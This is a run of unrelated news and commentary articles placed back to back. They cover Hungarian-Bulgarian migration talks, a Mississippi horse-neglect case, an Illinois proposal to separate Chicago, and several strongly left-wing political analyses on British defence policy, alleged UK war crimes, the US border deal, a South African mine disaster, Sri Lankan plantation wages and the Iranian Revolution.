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MTI Photo: PM'S Press Office Szecsodi BalazsUnlike Brussels, Hungary and Bulgaria believe that the answer to demographic challenges is family support rather than migration, Foreign Minister Peter Szijjarto said after talks with Bulgarias deputy prime minister, Mariana Nikolova.

We will never allow them to force us to change this approach, Szijjarto told a joint press conference. He said Hungary and Bulgaria were in agreement regarding the most important issues and Bulgaria continued to be Hungarys strategic ally in terms of European issues.

Hungary and Bulgaria maintain friendly relations, he said, and it is important to further develop these. The two countries have faced many similar challenges in the recent period and have given similar responses to them, he added.



Both countries faced economic, security and demographic challenges and the responses by both governments have been successful, he said. The two governments are in agreement that migration is not the right response to demographic challenges, and these should be solved through family support, Szijjarto said.



Increasingly value-added jobs are being created in Hungary, and last year was the first time that the rate of Hungarians returning from abroad outpaced emigrant workers, he added.

Hungary and Bulgaria are also in agreement that it is every states responsibility to protect its own borders and guarantee the security of its citizens.



The protection of external borders is a priority for both countries, he said. Bulgaria employs serious border protection infrastructure to protect the EUs external border and Hungary does the same, he added.



Building a fence has proven a successful response to security challenges in both countries, he added.



Szijjarto noted that Bulgaria is not a Schengen member, and he lamented that despite the fact that Bulgaria has been able to protect its borders, it has been denied membership of the area.



At the same time, there are Schengen member states that have been unable to protect their borders, he added. Cooperation between Hungary and Bulgaria in border protection will be maintained, Szijjarto said.



Last year, 44 Hungarian police served on the Bulgarian-Turkish border and Hungary also provided technical help for Bulgaria, he added. Neither Bulgaria nor Hungary voted in support of the United Nations Global Migration Compact because it carries the threat of further waves of migrants, he said.

Meanwhile, Szijjarto said it was important that Hungarian companies carry out significant investments abroad. OTP Bank is poised to become one of the largest players on the Bulgarian market and pharmaceuticals company Richter is involved in increasingly widespread activities.



Cooperation between Hungarian and Bulgarian companies has been helped by a 165 million euro credit line offered by Eximbank, he added. Concerning talks about the next seven-year EU budget, both Hungary and Bulgaria insist that cohesion resources should continue to play an important role, he said.

Nikolova said Hungary was an important partner, and she expressed thanks for the support Bulgaria received from Hungary for its Schengen membership endeavours, as well as help to stop the wave of migrants on the Bulgarian-Turkish border, an external European Union border.

Hungary-Bulgaria ties are characterised by dynamic dialogue, Szijjarto said, adding that cooperation both at the bilateral and European level was broad.



Hungary and Bulgaria share standpoints on major issues such as the situation in the Western Balkans and the EUs cohesion and farm policies, he said. Noting that Hungary is a major business partner of Bulgarias and one of the countrys largest investors, Nikolova called for a further tightening of economic ties.

Answering a question, Szijjarto said Hungary wants to beef up the protection of its strategic facilities and is planning to buy an intermediate air-defence missile system.



He added that talks will soon enter the final phase but said that it was necessary that parliaments defence committee make legal conditions and processes for the purchase simpler. He also said it was too early to talk about sums.

Szijjarto also said that talks with US Secretary of State Mike Pompeo in Budapest on Monday had not touched on either Hungarian or US domestic affairs and focused instead on bilateral cooperation as well as international developments that could influence it.



MTI Photo: Kovacs TamasCorvinus University of Budapest will continue offering tuition-free courses, the universitys chancellor said.

A Corvinus scholarship will be created from the assets of a foundation that will take over the university, enabling tuition-free study, said Livia Pavlik, who is also ministerial commissioner at the ministry of innovation and technology.



The government has already decided on the new model and, accordingly, the Maecenas Universitatis Corvini Foundation will be set up to take over the operational rights of the university, Pavlik told public current affairs channel M1.



The university will not operate as a budget-financed body and this will enable it to better adapt to market conditions and react to new challenges, she added. Plans are for the foundation to take over the university from July.



The government and the universitys management expect this will make operations more effective and standards higher, ultimately leading to Corvinus belonging to the top 100 European universities, she said.



Photo for illustration purposes only

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Your current subscription does not provide access to this content. If you believe you've gotten this message in error, please Log In.CHICKASAW COUNTY, Miss. (WTVA) - An investigation is underway to learn who owns two thin horses.

The horses were found on Monday wandering on the side of the Natchez Trace Parkway.

Chickasaw County Chief Deputy Keith Roberson said the horses appeared to be underfed.

However, he said a Houston resident is caring for the horses at this time. Their current conditions are not known.

One local animal rights activist said this issue happens way too often in the state and a fix is needed.

Justice for Animals Director Doll Stanley said she fears the horses could still be in danger.

Roberson said those responsible for the horses could possibly face criminal charges.

Anyone with information is asked to call the Chickasaw County Sheriffs Department at 662-456-2339.MARSHALL, Ill. (WTHI) - Should Chicago stay? Or should it go? A House Resolution in Illinois is proposing to separate the city of Chicago, and make it its own state!

Many folks across the state and in Marshall, Illinois are talking about the move. As it turns out, this isn't the first time something like this has been put on the table.

The City of Chicago passed a resolution in 1925 to form the State of Chicago. In 1981, State Senator Howard Carroll passed a Cook County state split bill through both chambers of the State Legislature.

After talking with many people in Marshall, several said they're in favor of giving Chicago the boot. Most frustrating for people downstate is feeling like their values aren't being respected.

Resident Randy Blankenship says, "We have no control over what happens. We're people too. We don't believe the same as they believe up there, and I believe Republicans would have a better chance of having a say so in what happens to the state if we'd separate.

Resident Andrew Hammond explains, "We're getting governed by people who don't see it our way at all, and don't want to listen to our opinion which makes it highly frustrating. So it doesn't matter if we get our opinion heard or not, those that have the opposing opinion are the higher numbers, so it doesn't really matter what we think."

News 10 spoke with State Representative Chris Miller who's listed as a co-sponsor of the resolution. He agrees there are two very different ways of thinking between Chicago and Southern Illinois. He says he doesn't have high hopes for it passing into law. But, he hopes it will be a catalyst for conversation.

Miller explains, "There are real differences in the way we live our lives, and the things that we care about. And, we aren't trying to force our way of life on the people that live in Chicago, and we would like that same respect shown to us as "down-staters."

A group of citizens will be gathering signatures in Cumberland County on Saturday, February 16th. For more information, click here.

Also, if you'd like to follow the progress of House Resolution 0101, click here.Defence Secretary Gavin Williamson laid out proposals for a massive escalation of British militarism post-Brexit in a speech to the Royal United Services Institute.

The UK must be ready to use hard power to support our global interests, he insisted. His speech in London Monday was framed around the need to confront Russia (mentioned 14 times), which was rebuilding its military arsenal, and China, which is developing its modern military capability and its commercial power.

Quoting Winston Churchill on the necessity of British forces being able to develop a reign of terror down enemy coasts, Williamson declared that Churchills vision was now the goal for our Royal Navy and for our Royal Marine Commandos.

Virtually any pretext could be used by Britains armed forces to go into combat, because the very character of warfare itself is changing as boundaries between peace and war are becoming blurred.

With Britain set to exit the European Union (EU) and tensions mounting between the UK and the continents main powers, Germany and France, the speech was a reassertion by the May governmentwhich said it had approved the speechthat the alliance that mattered most militarily to the UK was with the US. NATO, Williamson said, remains the bedrock of our nations defence. Other European nations need to be ready and capable of responding to Russian hostile acts, he said. In a pointed attack on Germany and France, he stressed that what mattered was Stepping up to the 2 percent [of GDP for defence spending] NATO target and not being distracted by the notion of an EU Army.

Williamson outlined the many NATO operations Britain was already involved in. Having sent a Battle Group to Estonia to support NATOs Enhanced Forward Presence, we lead multi-national maritime task groups in the Mediterranean and defend the skies over the Black Sea and the Baltics.

Ensuring Russias neighbours would be free from Russian interference is why the United Kingdom is leading the nine-nation Joint Expeditionary Force which in a few months time will take part in its first deployment to the Baltics.

The first operational mission of the HMS Queen Elizabeth, one of two new UK aircraft carriers, will include the Mediterranean, the Middle East and the Pacific region.  Significantly, British and American F35s will be embedded in the carriers air wing. Enhancing the reach and lethality of our forces and reinforcing the fact that the United States remains our very closest of partners. We share the same vision of the world.  We have the unique ability to integrate with US forces across a broad spectrum of areas. And, we are more determined than ever to keep working together.

Williamson echoed the Pentagons 2017 National Security Strategy document, endorsed by US President Donald Trump, which argued that the US was entering an era based on great power competition against other global powers.

In such an era, we cannot be satisfied simply protecting our own backyard, he said. The UK is a global power with truly global interests. A nation with the fifth biggest economy on the planet. A nation with the worlds fifth biggest Defence budget and the second largest Defence exporter. And since the new Global Great Game will be played on a global playing field, we must be prepared to compete for our interests and our values far, far from home.

This global engagement is not a reflex reaction to leaving the European Union. It is about a permanent presence, he declared. A Littoral Strike Ship group of globally deployable multi-role vessels would be established, able to conduct a wide range of operations, from crisis support to war-fighting. These motherships would be based East of Suez in the Indo-Pacific and one based West of Suez in the Mediterranean, Atlantic and Baltic.

Williamson outlined spending increases for every section of the armed forces and said 160 millionring-fenced from the last budget as a Transformation Fund for military spendingwould be spent on developing swarm squadrons of network enabled drones capable of confusing and overwhelming enemy air defences. These would be deployable by the end of 2019.

The UKs leading role in the global mass surveillance operation against the worlds population would be pushed ahead, with Britain building on our established relationship with the United States, Australia, New Zealand and Canada as part of the Five Eyes.

Military spending would be maintained with an extra 1.8 billion of Defence funding, keeping us on track. Nuclear capability would be strengthened, to deliver the new [nuclear] submarines on time and means that we are spending 4 billion every year to ensure the ultimate guarantee of our safety for another 50 years.

The pro-Brexit media were enthused by Williamsons militarist agenda. Despite being gaffe prone, Williamson is seen as a rising star in the Conservative Party. Given the crisis enveloping Prime Minister Theresa May, who has pledged to stand down as party leader before the next election, his speech was a de facto leadership bid.

However, the Guardian, which is usually on board with any sabre rattling against Russia, was scathing. Columnist Simon Jenkins ridiculed Williamsons speech as hot air because billions more would be required in defence funding. This downplaying of the threat posed by the most stalwart pro-Remain newspaper, presenting the Tories as the political version of the Keystone Cops, is dangerous nonsense.

The Tories are mired in crisis, but Williamson speaks for a party soaked in militarism that knows full well that military spending must be ramped up massively. Moreover, Williamson is giving political voice to the growing clamour among top figures in the armed forces that the Ministry of Defence budget be vastly increased at the expense of public spending.

Labours shadow defence secretary and warmonger, Nia Griffiths, had no substantive disagreements with Williamson, complaining only that the expansion of British imperialisms military machine globally was imperilled due to spending cuts. Griffiths complained, The UKs ability to play our role on the international stage has been completely undermined by eight years of Tory defence cuts. The Conservatives have slashed the defence budget by over 9 billion in real terms since 2010 and they are cutting armed forces numbers year after year.

She tweeted, Gavin Williamson likes to talk tough but look at the Tories record: Army cut by 25% RAF cut by 25% Defence spending down 9bn.

In her own speech to RUSI last June, Griffith said Labour would warmly welcome any rise in defence spending. This was crucial as, We are just nine months away from our departure from the European Union. One of the biggest challenges to our global strategic role since the Second World War.

Despite Labour leader Jeremy Corbyns mealy-mouthed statements in opposition to war and militarism, he has allowed the Blairites to determine Labours defence policy. Asked ahead of the 2017 General Election if she agreed with Corbyns declaration that he would not authorise the launching of a nuclear bomb, Griffith said this was not Labours policy. We are prepared to use it, and Im certainly prepared to use it.

Corbyn again fell into line, with Labours election manifesto supporting both NATO and the renewal of the Trident nuclear weapons system. Labour pledged a complete strategic defence review that would ensure that our Armed Forces are properly equipped and resourced to respond to wide-ranging security challenges.The British Armys rules of engagement in Iraq and Afghanistan allowed troops to shoot unarmed civilians they suspected of keeping them under surveillance.

This resulted in numerous casualties, including children and teenage boys.

An investigation by Ian Cobain, based upon statements by former UK soldiers and published by the Middle East Eye (MEE) website, points to war crimes having been committed.

Cobain, who writes for the Guardian, has covered six wars, including the 1991 Gulf War and the Afghanistan and Iraq wars. In September 2005, he revealed that the UK was supporting the CIAs illegal extraordinary rendition program. While the MEE was unable to independently verify all the interviewees accounts, several ex-soldiers serving in different units at different times and in two different theatres of war made broadly similar allegations. In what can only be construed as an admission of guilt, the Ministry of Defence refused to comment.

Cobain interviewed several former British army soldiers who confirmed they were given orders to shoot at civilians suspected of surveilling them. This was sanctioned under the pretext that civilians were suspected of planting roadside bombs, or of acting as spotters or dickersa term used during the conflict in Northern Irelandfor armed fighters.

Soldiers shot civilians without evidence they posed a threat. One soldier stationed in southern Iraq claimed he and fellow troops were told they were allowed to shoot anyone who acted suspiciously. Simply holding a mobile telephone, carrying a shovel, or being on the roof of a buildinga normal occurrence in the summer heatconstituted acting suspiciously and warranted shooting, mostly carried out at night.

According to military law experts and the 1977 Geneva Conventions, shooting civilians is only lawful if they are participating directly in hostilities. But with no precise definition of direct participation, civilians are expected to be given the benefit of the doubt. Under UK domestic law, which is applicable to the armed forces, a soldier can use force to defend him/herself and others, including lethal force, only provided that it is reasonable in the circumstances.

This relaxing of the rules of engagement resulted in a killing spree. One former soldier said he saw a significant number of fatal shootings of civilians in Basra, not all of whom he believed were keeping British troops under surveillance. He claimed that he and his fellow soldiers were promised that they would be protected in the event of any investigation by military police. He told the MEE, Our commanders, they would tell us: We will protect you if any investigation comes. Just say you genuinely thought your life was at riskthose words will protect you.

Another former soldier, who served in Basra in 2007, said that he had never seen such lawlessness. He added, We were shooting old men, young men. They were not expected to ask for permission before opening fire, he said. Anyone you deem is a terrorist, you shoot them. But how could we know if they were a threat? Not all of them were dickers, some were just holding phones.

A former Royal Marine who served in Helmand province in Afghanistan in 2008 said that although he had to issue verbal warnings to dickers before firing warning shots, this routine was not always followed. He cited an incident where his captain had shot an eight-year-old child, under the impression they were dicking us. The captain acknowledged he had not followed the rules and insisted upon reporting it to his superiors, even though they made it clear that if he said he had followed the rules of engagement, they would back him up regardless of whether he had or had not done so. But, he said, The boss reported what he had done and was removed from the troop.

The rules on shooting changed from time to time. One former soldier, who served in Helmand in 2010 with the Parachute Regiment, said that on arrival in the province he was told that he was no longer permitted to shoot civilians thought to be keeping troops under surveillance. During our first briefing, we were told: We are no longer shooting dickers. It was back to winning hearts and minds.

The soldier said that British troops continued to shoot civilians, and even mounted a cover-up of the killing of two unarmed teenage boys. He and other soldiers had seen two youths approaching on a scooter. The lieutenant who was in charge ordered that warning shots be fired. We were firing over their heads and then at the ground in front of them, but they just kept coming. They were laughing. I wondered whether they were high. As they were riding away, a corporal decided to fire his machine gun at them. When the patrol discovered that both boys were unarmed, two Soviet-era weaponsan assault rifle and a machine gunwere taken from the base and placed beside their bodies and photographed.

The UKs Royal Military Police have been investigating other claims that special forces troops planted weapons on a number of Afghan men who were shot dead during night raids on their homes.

Such was the anger over civilian casualties that they became a frequent source of contention between the coalition commanders and civilian authorities in Iraq and Afghanistan, prompting the US puppet Afghan President Hamid Karzai to speak out. While the US commander General Stanley McChrystal adopted a policy of so-called courageous restraint, under which forces were expected to use less firepower, British troops were soon complaining that they were being expected to fight the Taliban with one hand tied behind our backs.

Such crimes flow from the thoroughly predatory motives of the US-led invasions of Afghanistan and Iraq, where there are still 1,000 and 1,400 British troops (fighting ISIS in Iraq and Syria), respectively. The September 11 terrorist attacks on New York and Washington were seized upon as the pretext to take over these countries to secure domination over one of the worlds most strategic and resource-rich regions.

The murders made public by the Middle East Eye are a devastating exposure of the bloody role of British imperialism in Afghanistan and Iraq, whose civilians have alleged numerous incidents of abuse. Along with the hundreds of thousands of documents made public by WikiLeaks, they form the factual basis for a war crimes indictment of the leaders of the British government.

Tony Blair, Jack Straw and Gordon Brown and all the top military and foreign policy officials who served in the Labour governments that approved the wars and occupations of Afghanistan and Iraq, deserve to face an international war crimes tribunal. Their Conservative counterparts should stand in the dock alongside them.

The response of the British media is significant. None of the mainstream media outlets in Britain have mentioned Cobains findings. The only English-language media channels carrying reports were Al Jazeera and several Russian and Iranian channels.

The revelations of war crimes are also a warning to workers and youth. Such operations and policies are part of preparations for use at home. As well as deployments to new overseas neo-colonial wars, the armed forces will be used to suppress domestic unrest in the name of combatting the disruption caused by Brexit.On Tuesday, President Trump said he was extremely unhappy with the bipartisan government funding agreement announced late Monday by congressional negotiators seeking to avert another partial government shutdown. The shutdown is set to begin at 12:01 am Saturday when stop-gap funding runs out.

Speaking to reporters during a White House cabinet meeting, Trump said of the deal, Its not doing the trick. He stopped short, however, of saying he would refuse to sign legislation based on the agreement if it were passed by Congress prior to the budget deadline.

Instead, he said that he was adding things to the deal, and went on to reiterate his insistence that the full 200 miles of wall would be built, with or without the consent of Congress. Were supplementing things and moving things around, he said. Taking from far less important areas  using methods other than this.

He said he did not believe there would be another shutdown, suggesting that he would approve funding to keep the government running but allocate more money to build the wall by means of unilateral executive action. Asked if he was considering going through with his threat to declare a national emergency and order the military to build the wallan openly dictatorial act in violation of the US Constitutions separation of powers doctrineTrump said: Im considering everything. Its all going to happen. Were building a wall.

The agreement, which is supported by both the Republican and Democratic congressional leadership, represents a capitulation by the Democratic Party to Trumps demand for a border wall between the United States and Mexico and his program of mass arrests and detentions of undocumented immigrants both at the border and in the interior of the country.

It explicitly allocates $1.375 billion this year for new border barrier construction, specifying the use of steel slat fencing to build an additional 55 miles of wall in Texass Rio Grande Valley. It also increases by 5,000 over last year, from 40,000 to 45,000, the number of detention beds for immigrants seized by Immigration and Customs Enforcement (ICE), while including a funding formula that would allow ICEs parent department, Homeland Security, to move funds around so as to increase the detention level to 58,500.

In practice, the deal gives Trump a blank check to expand the network of immigrant prisons and detention camps. A summary of its provisions drafted by Republican staffers on the Senate Appropriations Committee that was obtained by the New York Times states: In short, there is more than enough flexibility for ICE to respond to any forthcoming surges in illegal immigrations and apprehensions.

The agreement includes an additional $1.7 billion in increased spending for the Department of Homeland Security, which oversees ICE and the Border Patrol. Part of that increase is earmarked for more sophisticated sensors at border checkpoints and more Customs officers.

One example of what these measures mean for the lives of immigrant workers, and the democratic rights of the working class as a whole, was provided by the Border Patrols El Paso sector, which announced Monday that its agents had taken 330 migrants into custody only hours before Trump went to the border town of El Paso, Texas Monday night to deliver another tirade against criminal immigrants and socialism.

The migrants were seized at the Antelope Wells entry point in southern New Mexico, which is part of the Border Patrols El Paso sector. US Customs and Border Protection said in a statement that the detainees consisted mainly of Central American families and unaccompanied juveniles. It boasted that this was the 28th group of 100 or more migrants apprehended in the El Paso sector since the beginning of October.

While the border funding deal includes new money for the wall, the amount allocated falls short of the $5.7 billion Trump has demanded. This has evoked a chorus of opposition to the deal from far-right figures who have been part of Trumps fascistic base. Fox News Sean Hannity called it a garbage compromise, talk show host Laura Ingraham called it a charade, Ann Coulter denounced it as Trumps "Yellow New Deal, and Representative Mark Meadows, the head of the far-right House Freedom Caucus, rejected it and said Trump should take executive action.

Trumps response to the agreement reflects his attempt to balance between his critics on the far right and congressional Republicans who fear the consequences of another government shutdown, while putting pressure on the Democrats to make even further concessions.

At the same time, the administration and both parties are concerned about the potential implications of a new shutdown, just three weeks after the record 35-day partial closure of government services in which 800,000 federal workers were either furloughed or forced to work without pay, generating explosive anger among families forced to make do while missing two weeks pay.

At the end of January, the administration and Congress rushed to bring the shutdown to an end with a three-week stop-gap funding bill when sickouts by airport baggage screeners and air traffic controllers forced the temporary cancellation of flights at New Yorks LaGuardia Airport and slowdowns at other major hubs, threatening a total meltdown of the nations air traffic system.

The still potent anger of workers and potentially explosive implications of another shutdown were reflected in the announcement Monday by the Association of Flight Attendants that it would hold protests at airports around the country on Saturday if the government shut down again at midnight Friday. In making the announcement, the union was seeking to preempt and contain possible spontaneous actions by federal workers.

The union bureaucracy as well as the ruling class is also well aware of the widening strike action by Mexican maquiladora workers along the US border, who are rebelling against their unions and appealing for support from American workers.

The leaders of the Democratic side in the 17-member bipartisan House-Senate conference committee that negotiated the deal, House Appropriations Committee Chairman Nita Lowey of New York and the ranking Democrat on the Senate Appropriations Committee, Patrick Leahy of Vermont, had already capitulated on allocating money for new wall construction by the end of last week. However, they sought to give themselves a measure of political cover over the weekend by demanding a lower cap on total immigrant detention beds and on the number of detainees held away from the border, in the interior of the country. They called for a limit of 16,500 in the latter category, mainly people picked up in ICE raids, down from the present 20,000.

The Republicans called their bluff and threatened to scuttle the talks, prompting the Democrats to abandon any reduction in the level of immigrant detentions.

Nita Lowey said on Tuesday: We came to a good compromise that would secure our border because thats the goal. Democratic Representative Lucille Roybal-Allard, a member of the conference committee whose Los Angeles district is 85 percent Hispanic, complained pathetically, We started at zero on the wall, and we compromised a lot after that, and we are now asking them to change, too.

Mary Small, policy director at Detention Watch Network, denounced the agreements morally wrong and deeply harmful concessions." In particular, she said, this deal actually increases funding available for immigration detention by about 5,000 people per day, helping to grow the machinery of deportation and further heighten the risk faced by immigrant communities across the country.Five people were killed last Wednesday, and 22 others are trapped and feared dead after an explosion in a coal mine that has been closed in the South African province of Mpumalanga.

Since the explosion, mine rescue workers, who have not been paid since last October, have been unable to enter the mine because of high levels of methane and carbon monoxide gas.

The ventilation system has not been working, and the company has not yet repaired it. Those trapped are believed to be so far in the mine, that rescue workers could not reach them wearing portable oxygen tanks. Management has alleged that the rescue workers are refusing to enter in protest over having gone for months without wages.

Twenty people were able to escape the mine and reported that others were still trapped. One person who was injured was arrested for trespassing after he was released from the hospital.

The Gloria Coal Mine is run by a company owned by the Gupta brothers, South African capitalists with close ties to the ruling African National Congress, who are facing extensive corruption charges. The company has been in bankruptcy since early last year and was placed into receivership. Since then the mine has fallen into disrepair and production was stopped.

The business rescue representative for the mine, Mike Elliot, said that the ventilation system is down because thieves stole the wires supplying the large fans with power. But he has not said when that took place, why they werent repaired or why they arent being repaired now.

Elliot, the authorities and the media are in fact seeking to blame the victims for this disaster, referring to those who were killed and those still trapped as thieves who were in the mine to steal copper wiring. Since the initial explosion, the English language media has almost stopped reporting on the disaster and the lack of any rescue attempts.

Elliot, and other company and government officials have not announced any plans for how they will rescue the trapped workers. No doubt the company and authorities see this as a deterrent to others who might try to enter the companys other abandoned mines in the area.

Miners who worked at the mine have not been paid since September 2018, and many report that they are not able to feed their families and themselves. Local residents have taken up food collections, including providing lunch once a week, but that is not enough.

Miners say that Elliot and the company are seeking to sell off mine assets to benefit the owners and creditors while leaving the workers with nothing.

It is not clear from media reports if the people trapped in the mine had also been miners who used to work there, but now without work, were forced to scavenge for scrap to feed their families. It is unlikely that anyone who had not worked there would have been able to find their way around so far underground, but many in the impoverished province are desperate.

In 2015, 55 percent of South Africas population, or 30.4 million people, lived in poverty, and the number of people living in extreme poverty increased to 13.8 million from 11 million in 2011. Extreme poverty affects people living below the food poverty line, that is, those lacking the amount of money needed to buy only enough food to live on.

The food poverty line is set at just 441 South African rand per month per person. That amounts to less than $32.00 a month at todays exchange rate. In 2012, Mpumalanga province recorded 1.5 million people living below the official poverty level of just 795 rand for a family of four.

The Gupta mine disaster also further exposes the corrupt intersection between the ruling African National Congress (ANC), the unions and business magnates.

The Gupta brothers bought the Optimum Coal assets, which include the Gloria mine, in 2016. They are now in self-imposed exile, living in Dubai, facing arrest in South Africa for corruption. Charges against them involve many leaders of the ruling ANC, up to and including former President Jacob Zuma, who was forced to resign on February 14, 2018.

The Gupta brothers ANC corruption scheme involved massive bribes and kickbacks to divert government funds and contracts to the Gupta familys businesses, much of it siphoned out of funds meant for South Africas poor.

The corruption dates back to the very beginnings of the ANCs rule, as many of its leaders rushed to enrich themselves after the end of Apartheid. Prosecutors charge that the brothers would even pick candidates to be senators, who would in turn pass laws and regulations in their favor.

The Gupta businesses profited from vast exploitation of the workers, who were paid low wages and forced to work in unsafe conditions, while government and union officials looked the other way.

In 2012, the National Union of Mineworkers and police shot and killed over 40 striking platinum miners at the Lonmin mine in the town of Marikana in South Africas North West province. Thirty-four miners were massacred by police firing assault rifles on August 16, 2012. Just days before, the strikers were fired upon by officials of the National Union of Mineworkers, when they marched to the local NUM headquarters to demand official support for their strike, which was overwhelmingly backed by the miners.

Then president Jacob Zuma and other ANC leaders approved of the murderous actions taken by the NUM leaders and the police. At the time of the massacre, Cyril Ramaphosa, the former general secretary of the NUM, was a director of Lonmin and used his state connections to press the government for a crackdown against the strikers. Ramaphosa, who became one of South Africas richest men, succeeded Zuma as the countrys president last year.

The killing of the Marikana miners marked a turning point and an escalation in the attack against workers throughout the entire country.Lalith Obesekara, general secretary of the Sri Lankan Planters Association, made clear in comments last Friday that the major plantation companies will not accept any further increases to the meagre wages of workers.

Instead they will intensify the exploitation of oppressed plantation workers, in line with a sellout collective agreement recently brokered by the trade unions. The deal provides for nominal pay rises and scraps previous allowances.

Obesekara told the Dailyft: We have already taken a hit of 9 billion rupees due to the increase and the industry cannot sustain further increases. His statements indicate that the companies, in league with the unions, will seek to offset the wage increases by intensifying the attacks on conditions and allowances.

Obesekaras remarks followed discussions on Friday between the Planters Association and several unions which had appealed for the restoration of the allowances, in a bid to assuage anger among plantation workers. The benefits, which have been abolished under the new agreement, include a monthly 140-rupee attendance allowance and 60-rupee incentive allowance.

The deal was agreed upon by the Ceylon Employers Federation on behalf of the plantation companies and the Ceylon Workers Congress (CWC) and the Lanka Jathika Estate Workers Union (LJEWU) on January 28.

It was the outcome of efforts by the unions, the companies and the government to end protracted industrial and political action by workers who were demanding a 100 percent increase in their basic daily wage to 1,000 rupees ($US5.60).

The agreement rode roughshod over workers demands. It only increases the daily basic wage from 500 rupees to 700 rupees. Combined with a marginal increase to the price share supplement allowance, from 30 rupees to 50 rupees, the gross daily wage will be just 750 rupees.

The announcement of the sellout agreement provoked widespread opposition and protests by workers.

The National Workers Union (NUW), the Democratic Peoples Front (DPF) and the Upcountry People Front (UPF), which did not sign the agreement, have since appealed to the government and the companies to restore the scrapped allowances. They are desperately seeking to prevent a rebellion against the unions.

These unions consistently opposed the workers struggle for a 100 percent wage increase, thus paving the way for the betrayal.

The union leaders are thoroughly integrated into the political establishment which has overseen the attacks on plantation workers. The heads of the NUW, the DPF and the UPFP. Digambaram, Mano Ganeshan and R. Radhakrishnanare ministers in the current government.

As part of their posturing, the three union leaders hinted that they might resign from the government if their request for the restoration of the allowances was not addressed.

Prime Minister Ranil Wickremesinghe has postponed officially gazetting the collective agreement, to forestall the growing opposition to the deal.

The government, however, has already demonstrated its full backing for the agreement. In a February 8 discussion at the prime ministers office, the Planters Association again made clear that it would not restore any allowances. Plantation minister Naveen Dissanayake and labor minister Ravindra Samaraweera participated in the meeting.

Digambaram has nevertheless sought to cover up the fact that the deal has the governments blessing. During a meeting at Dickoya near Hatton last Friday, he fraudulently claimed that the government would ensure a reasonable decision was made on the allowances as a result of pressure from the NUW, the DPF and the UPF.

At the same time, S. Ramanathan, the secretary of the Joint Plantation Trade Union Center (JPTUC), has pledged legal action if the allowances are not reinstated. This is an attempt to divert workers anger into futile appeals to the courts, which invariably come down on the side of the companies and big business.

The JPTUC is comprised of unions controlled by the Lanka Sama Samaja Party and the Stalinist Communist Party. It has been a signatory to innumerable sellout agreements with employers. As a result, the alliances constituent unions have only a few hundred members each.

Significantly, the NUW, the DPF, the UPF and the JPTUC are completely silent about some of the key clauses in the agreement aimed at deepening the assault on workers rights. One clause, for instance, states that the unions will help the plantation companies implement a revenue share scheme, also described as an out-grower model.

This scheme is aimed at abolishing the existing wage system and transforming workers into sharecroppers. Its purpose is to vastly intensify exploitation and to atomise workers.

The agreement also declares that the unions will cooperate and commit themselves to improving the efficiency and productivity of estates. The unions have also pledged to settle operational issues at estate level in harmony.

These are promises by the unions to act as an industrial police force, disciplining workers and enforcing incessant company demands for further cost-cutting.

The limited criticisms of the agreement made by some unions are utterly bogus. All of them collaborate with the companies and the government against the workers they falsely claim to represent.

Workers can secure their demands, including for a decent wage, medical facilities, housing and their childrens education, only through a break with the unions and the establishment of new organisations of struggle, such as action committees.

Above all, what is required is a fight for a workers and peasants government that would implement socialist policies, including placing the plantations under public ownership and democratic workers control.

We urge workers and youth to attend the plantation workers conference called by the Abbotsleigh Estate Workers Action Committee with the support of the Socialist Equality Party. The conference, to be held at Hatton Town Hall on March 17, is entitled Lessons of the plantation workers struggle and the way forward in the fight for wages and social rights.Forty years ago this week the Iranian Revolution felled the Shahs dictatorshipa tyrannical regime installed by a US-orchestrated military coup in 1953 that for a quarter-century served as a linchpin of US imperialist violence and intrigue in the Middle East and across Eurasia.

The popular uprising that swept the regime of Shah Mohammad Reza Pahlavi, his courtiers, crony capitalists, and SAVAK torturers into the dustbin of history was the culmination of a year of escalating mass protests and strikes. Broad sections of the working class, urban poor and middle class participated in the struggle against the Shahs monarchical dictatorship. But it was the strike of Irans oil workers that broke the back of his US-sponsored absolutist regime.

The parallels between the Iran of 1979 and the Russia of 1917 were striking and much commented on, even in the capitalist media, at the time. In the aftermath of the Shahs overthrow, the revolutionary upsurge widened and deepened. But while workers occupied factories and built new workplace organizations of struggle and villagers seized land from absentee landlords, power did not pass into the hands of a workers government leaning on the urban poor and rural toilers.

Insteadalbeit not without violent shocks and only through the savage repression of the left and all forms of independent working class organizationa new capitalist regime consolidated its hold on power during the next three years.

This regime would be rooted in the bazaar merchants and other traditional sections of the Iranian bourgeoisie who resented the monopolization of Irans burgeoning oil wealth by the Shah, his cronies and imperialism. Politically, it was led by a heterodox section of the clergy that used Shia populist appeals to harness, then politically diffuse and suppress the anti-imperialist upsurge. As the guardians of bourgeois property, the Shia clergy were able to secure for themselves an exalted position within the political institutions of the Islamic Republic, as exemplified by the post of supreme leader held by Ayatollah Khomeini until his death in 1989 and Ayatollah Khamenei ever since.

The counter-revolutionary role of the Stalinist Tudeh Party

It is the Stalinist Tudeh Party and the politics of Stalinism that are principally responsible for the tragic derailing of the Iranian Revolution.

There is a long and profound connection between the Iranian working class and revolutionary socialism, stretching back to the first decade of the 20th century, when migrant Iranian workers employed in the oilfields and other industries of southern Russia were politicized by Bolshevik Party cadre.

At the end of World War II, the Tudeh Party emerged as Irans first mass political party, the leader of a militant trade union movement embracing hundreds of thousands of workers, and a potential contender for power. However, subscribing to the Menshevik-Stalinist two-stage theory of revolution, the Tudeh Party systematically subordinated the working class to the purportedly progressive wing of the bourgeoisie, and thereby helped create the political conditions for the 1953 CIA-engineered coup that established the Shahs absolutist regime.

In exile, the Tudeh Party leadership moved still further to the right, seeking to ally with defectors from the Shahs regime, including the general who had supervised the partys brutal suppression after the 1953 coup. Having abandoned any serious attempt to reach the Iranian working class, the Stalinists were taken unawares by the explosion of mass opposition to the Shahs regime in 1978.

Thereafter, they fell in behind Khomeini, hailing him as the leader of the national democratic revolution and otherwise placing the influence that the Tudeh Party retained, particularly among a section of industrial workers, at the service of the Iranian bourgeoisie. In December 1979, Tudeh Party General Secretary Nourredin Kianouri notoriously declared the Stalinists cooperation with the Khomeini regime strategic, because Shiism is a revolutionary and progressive ideology which we shall never encounter blocking our path to socialism.

A significant supplementary role in confusing socialist-minded youth was played by various armed guerrilla groups that emerged in the early 1970s, in part as a reaction against the right-wing politics of the Tudeh Party. Based on an eclectic melange of Stalinism, Maoism, Guevaraism, Third Worldism and in some cases Islamic socialism, groups like the Peoples Fedayeen and Peoples Mujahedin served to wall socialist-minded youth off from the working class and foster illusions in the revolutionary capacities and anti-imperialism of the Shia clergy and Iranian bourgeoisie.

For US imperialism, the Iranian Revolution was a body-blow. Only 14 months before the Shahs overthrow, US President Jimmy Carter had feted his regime as an island of stability.

